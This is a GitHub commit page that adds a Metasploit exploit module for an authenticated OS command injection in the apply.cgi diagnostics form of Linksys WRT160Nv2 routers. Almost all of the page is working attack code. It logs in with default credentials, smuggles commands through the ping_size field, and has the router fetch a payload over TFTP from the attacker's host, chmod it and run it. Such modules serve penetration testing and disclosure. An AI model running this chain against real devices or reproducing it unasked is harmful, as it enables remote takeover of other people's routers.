Skip to content

Commit 09bf23f

Browse files
author
m-1-k-3
committed
linksys wrt160n tftp download module
1 parent 0390baf commit 09bf23f

File tree

1 file changed

+199
-0
lines changed

1 file changed

+199
-0
lines changed
Lines changed: 199 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,199 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex/proto/tftp'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = ExcellentRanking
13+
14+
include Msf::Exploit::Remote::HttpClient
15+
include Msf::Exploit::EXE
16+
include Msf::Exploit::FileDropper
17+
include Msf::Exploit::Remote::TFTPServer
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => 'Linksys WRT160nv2 apply.cgi Remote Command Injection',
22+
'Description' => %q{
23+
Some Linksys Routers are vulnerable to an authenticated OS command injection.
24+
Default credentials for the web interface are admin/admin or admin/password. Since
25+
it is a blind os command injection vulnerability, there is no output for the
26+
executed command when using the cmd generic payload. A ping command against a
27+
controlled system could be used for testing purposes. The exploit uses the tftp
28+
client from the device to download the payload.
29+
},
30+
'Author' =>
31+
[
32+
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module
33+
'juan vazquez' # minor help with msf module
34+
],
35+
'License' => MSF_LICENSE,
36+
'References' =>
37+
[
38+
[ 'BID', '57887' ],
39+
[ 'EDB', '24478' ],
40+
[ 'OSVDB', '90093' ],
41+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-012' ]
42+
],
43+
'DisclosureDate' => 'Feb 11 2013',
44+
'Privileged' => true,
45+
'Platform' => ['linux','unix'],
46+
'Payload' =>
47+
{
48+
'DisableNops' => true
49+
},
50+
'Targets' =>
51+
[
52+
[ 'CMD',
53+
{
54+
'Arch' => ARCH_CMD,
55+
'Platform' => 'unix'
56+
}
57+
],
58+
[ 'Linux mipsel Payload',
59+
{
60+
'Arch' => ARCH_MIPSLE,
61+
'Platform' => 'linux'
62+
}
63+
],
64+
],
65+
'DefaultTarget' => 1
66+
))
67+
68+
register_options(
69+
[
70+
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
71+
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
72+
OptAddress.new('LHOST', [ true, 'Our localhost IP address from where the victim downloads the MIPS payload' ]),
73+
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
74+
OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
75+
], self.class)
76+
end
77+
78+
79+
def request(cmd,user,pass,uri)
80+
begin
81+
res = send_request_cgi({
82+
'uri' => uri,
83+
'method' => 'POST',
84+
'authorization' => basic_auth(user,pass),
85+
'vars_post' => {
86+
"submit_button" => "Diagnostics",
87+
"change_action" => "gozila_cgi",
88+
"submit_type" => "start_ping",
89+
"action" => "",
90+
"commit" => "0",
91+
"ping_ip" => "1.1.1.1",
92+
"ping_size" => "&#{cmd}&",
93+
"ping_times" => "5",
94+
"traceroute_ip" => ""
95+
}
96+
})
97+
return res
98+
rescue ::Rex::ConnectionError
99+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
100+
return nil
101+
end
102+
end
103+
104+
def exploit
105+
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(4))
106+
uri = '/apply.cgi'
107+
user = datastore['USERNAME']
108+
pass = datastore['PASSWORD']
109+
lhost = datastore['LHOST']
110+
111+
#
112+
# testing Login
113+
#
114+
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
115+
begin
116+
res = send_request_cgi({
117+
'uri' => uri,
118+
'method' => 'GET',
119+
'authorization' => basic_auth(user,pass)
120+
})
121+
if res.nil? or res.code == 404
122+
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
123+
end
124+
if [200, 301, 302].include?(res.code)
125+
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
126+
else
127+
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
128+
end
129+
rescue ::Rex::ConnectionError
130+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
131+
end
132+
133+
if target.name =~ /CMD/
134+
if not (datastore['CMD'])
135+
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
136+
end
137+
cmd = payload.encoded
138+
res = request(cmd,user,pass,uri)
139+
if (!res)
140+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
141+
else
142+
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
143+
end
144+
return
145+
end
146+
147+
#thx to Juan for his awesome work on the mipsel elf support
148+
@pl = generate_payload_exe
149+
@elf_sent = false
150+
151+
#
152+
# start our server
153+
#
154+
print_status("#{rhost}:#{rport} - Starting up our TFTP service")
155+
@tftp = Rex::Proto::TFTP::Server.new
156+
@tftp.register_file(downfile,@pl)
157+
@tftp.start
158+
159+
#
160+
# download payload
161+
#
162+
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{downfile}")
163+
#this filename is used to store the payload on the device -> we have limited space for the filename!
164+
filename = rand_text_alpha_lower(4)
165+
166+
#not working if we send all command together -> lets take three requests
167+
cmd = "tftp -l /tmp/#{filename} -r #{downfile} -g #{lhost}"
168+
res = request(cmd,user,pass,uri)
169+
if (!res)
170+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
171+
end
172+
173+
# wait for payload download
174+
print_status("#{rhost}:#{rport} - Giving #{datastore['DELAY']} seconds to the Linksys device to download the payload")
175+
select(nil, nil, nil, datastore['DELAY'])
176+
register_file_for_cleanup("/tmp/#{filename}")
177+
178+
#
179+
# chmod
180+
#
181+
cmd = "chmod 777 /tmp/#{filename}"
182+
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
183+
res = request(cmd,user,pass,uri)
184+
if (!res)
185+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
186+
end
187+
188+
#
189+
# execute
190+
#
191+
cmd = "/tmp/#{filename}"
192+
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
193+
res = request(cmd,user,pass,uri)
194+
if (!res)
195+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
196+
end
197+
198+
end
199+
end

0 commit comments

Comments
 (0)